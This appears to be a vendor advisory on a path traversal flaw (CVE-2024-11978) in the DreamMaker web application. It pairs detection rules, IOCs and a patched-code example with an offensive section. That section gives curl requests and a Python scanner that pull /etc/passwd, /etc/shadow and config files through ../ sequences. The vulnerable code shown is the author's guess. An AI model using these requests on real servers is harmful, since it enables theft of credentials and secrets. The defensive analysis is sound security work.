CVE-2024-11978

Executive Summary

CVE-2024-11978 is a critical Path Traversal vulnerability in Interinfo's DreamMaker application. An unauthenticated remote attacker can exploit this flaw to read arbitrary system files, leading to potential disclosure of sensitive configuration data, credentials, and source code. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. No public exploit code or Nuclei template has been released, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It affects a standalone web application (DreamMaker) from Interinfo. No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The low attack complexity and lack of authentication make this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The DreamMaker application fails to properly sanitize user-supplied input in file retrieval endpoints. By injecting path traversal sequences (e.g., ../), an attacker can escape the intended web root directory and access arbitrary files on the server's filesystem.

Vulnerable Endpoint Example:
GET /download?file=../../../etc/passwd

The application likely uses a function similar to File.ReadAllText(userInput) without validating that the resolved path stays within an allowed directory. This allows reading sensitive files such as:

• /etc/passwd (Linux user enumeration)
• Application configuration files (e.g., web.config, appsettings.json)
• Database connection strings
• SSH private keys
• Source code files

Vulnerable vs. Patched Code

Vulnerable Code (C# example):

public ActionResult Download(string file)
{
    string content = System.IO.File.ReadAllText(file);
    return Content(content, "text/plain");
}

Patched Code (C# example):

public ActionResult Download(string file)
{
    string basePath = Server.MapPath("~/Downloads");
    string fullPath = Path.GetFullPath(Path.Combine(basePath, file));
    if (!fullPath.StartsWith(basePath))
    {
        return HttpForbidden();
    }
    string content = System.IO.File.ReadAllText(fullPath);
    return Content(content, "text/plain");
}

The patched version uses Path.GetFullPath to resolve the absolute path and then checks that it starts with the allowed base directory. This prevents directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable DreamMaker instance (e.g., using a Docker container with a known vulnerable version).
2. Use a tool like curl or Burp Suite to send crafted requests.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /download, /file, /read).
2. Send a GET request with path traversal:

   curl "http://target.com/download?file=../../../etc/passwd"
   

3. If successful, the response will contain the contents of /etc/passwd.
4. Enumerate further files:

   curl "http://target.com/download?file=../../../etc/shadow"
   curl "http://target.com/download?file=../../../var/www/html/web.config"
   

Automated Scanning: Use a simple Python script:

import requests

target = "http://target.com"
payloads = ["../../../etc/passwd", "../../../etc/shadow", "../../../var/log/apache2/access.log"]

for payload in payloads:
    r = requests.get(f"{target}/download?file={payload}")
    if r.status_code == 200 and "root:" in r.text:
        print(f"Vulnerable! Payload: {payload}")

Blue Team (Defensive)

Detection:

• Monitor for multiple ../ sequences in HTTP request parameters.
• Alert on requests to file retrieval endpoints with suspicious patterns.
• Use WAF rules to block path traversal attempts.

Hunting:

• Search web server logs for %2e%2e%2f (URL-encoded ../) or ..%2f patterns.
• Look for requests to /download?file= or similar endpoints with directory traversal strings.

Mitigation:

• Apply input validation and canonicalization (as shown in patched code).
• Use a Web Application Firewall (WAF) with path traversal rules.
• Restrict file read permissions for the web application user.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests containing ../ or URL-encoded variants (%2e%2e%2f, ..%252f).
  • Requests to endpoints like /download, /file, /read, /getFile.
  • Outbound connections from the server to unknown IPs (if exfiltration occurs).

• File System IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, /etc/hosts.
  • Access to application configuration files outside the web root.

• Log IOCs:

  • Web server logs showing 200 responses to path traversal payloads.
  • Error logs with "File not found" for legitimate files but successful reads for system files.

Detection Engineering

YARA Rule

rule CVE_2024_11978_PathTraversal {
    meta:
        description = "Detects path traversal attempts targeting DreamMaker CVE-2024-11978"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11978"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $endpoint1 = "/download"
        $endpoint2 = "/file"
        $endpoint3 = "/read"
    condition:
        any of ($endpoint*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-11978 Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting DreamMaker endpoints
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11978
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains:
            - '/download'
            - '/file'
            - '/read'
    condition: selection
falsepositives:
    - Legitimate use of '..' in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11978 Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/download"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or restrict access to the vulnerable DreamMaker endpoint if possible.
   • Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
   • Monitor logs for exploitation attempts.

2. Long-Term Fix:

   • Apply input validation and canonicalization as shown in the patched code example.
   • Use a secure file retrieval function that restricts access to a specific directory.
   • Contact Interinfo for an official patch or consider migrating to an alternative solution.

3. Compromise Assessment:

   • Check web server logs for successful path traversal requests.
   • Review file access logs for unauthorized reads of sensitive files.
   • Rotate any credentials or secrets that may have been exposed.

Valters IT
Securing Digital Frontiers